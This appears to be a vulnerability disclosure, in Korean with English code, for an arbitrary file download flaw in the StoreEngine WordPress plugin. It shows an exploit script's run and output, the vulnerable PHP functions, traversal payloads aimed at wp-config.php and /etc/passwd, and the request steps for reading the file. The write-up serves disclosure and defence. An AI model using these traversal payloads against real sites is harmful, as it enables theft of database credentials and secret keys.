
StoreEngine – 결제, 멤버십, 제휴, 판매 등을 위한 강력한 WordPress 전자상거래 플러그인 <= 1.4.0 - 인증된 (구독자 이상) 임의 파일 다운로드
StoreEngine 플러그인의 CSV 가져오기/내보내기 기능에 취약점이 있으며, 이로 인해 인증된 모든 사용자(구독자, 작성자, 편집자 등)가 서버에서 민감한 시스템 파일, WordPress 구성 파일, 플러그인 소스 코드를 포함한 임의 파일을 다운로드할 수 있습니다. 이 취약점은 storeengine_csv/file_download 엔드포인트가 적절한 경로 검증을 수행하지 않고 보안을 오직 nonce 검증에만 의존하는 데서 발생하며, storeengine_nonce는 플러그인의 JavaScript를 통해 모든 프론트엔드 사용자에게 노출됩니다. 참고: 이 취약점을 악용하려면 관리자가 CSV 가져오기/내보내기 애드온을 활성화해야 합니다. 일단 활성화되면 이 조합을 통해 인증된 모든 사용자가 프론트엔드 페이지에서 nonce를 추출하고 경로 탐색 공격으로 서버의 모든 파일을 다운로드할 수 있게 되어, 사실상 구독자+ 사용자에게 민감한 시스템 및 애플리케이션 파일에 대한 접근 권한을 부여합니다.
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).
Downloading wp-config.php via path traversal...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
*/
참고: 이 취약점을 악용하려면 관리자가 CSV 가져오기/내보내기 애드온을 활성화해야 합니다. 애드온 활성화 엔드포인트(storeengine/saved_addon_status)는 manage_options 권한을 요구하므로 관리자만 이 기능을 활성화할 수 있습니다.
storeengine_csv/file_download AJAX 액션은 /wp-content/plugins/storeengine/addons/csv/ajax/export.php의 47번째 줄에 있는 file_download() 함수를 호출하는데, 이 함수는 적절한 경로 검증이 없어 임의 파일 다운로드를 허용합니다:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNERABLE TO PATH TRAVERSAL!
// NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
// NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- READS AND OUTPUTS ANY FILE!
exit;
}
취약한 경로 구성으로 완전한 경로 탐색이 가능합니다:
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
storeengine_nonce는 플러그인의 JavaScript를 통해 모든 프론트엔드 사용자에게 노출됩니다. 이는 /wp-content/plugins/storeengine/includes/assets.php의 279번째 줄에 있는 _get_script_data() 메서드에서 발생합니다:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
그런 다음 이 nonce는 120번째 줄의 frontend_scripts() 메서드를 통해 프론트엔드 JavaScript에 로컬라이즈됩니다:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
nonce는 /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php의 510번째 줄에 있는 AbstractRequestHandler::check_permission() 메서드에서 검증됩니다:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
이 조합으로 인증된 모든 사용자가 CSRF 보호를 우회하고 서버의 모든 파일(민감한 구성 파일, 소스 코드, 잠재적으로 시스템 파일 포함)을 다운로드할 수 있습니다.
storeengine_csv/file_download 액션을 호출하는 /wp-admin/admin-ajax.php 요청을 가로챕니다.filename=../../../../wp-config.php를 포함한 요청을 보내 WordPress 구성 파일을 다운로드합니다.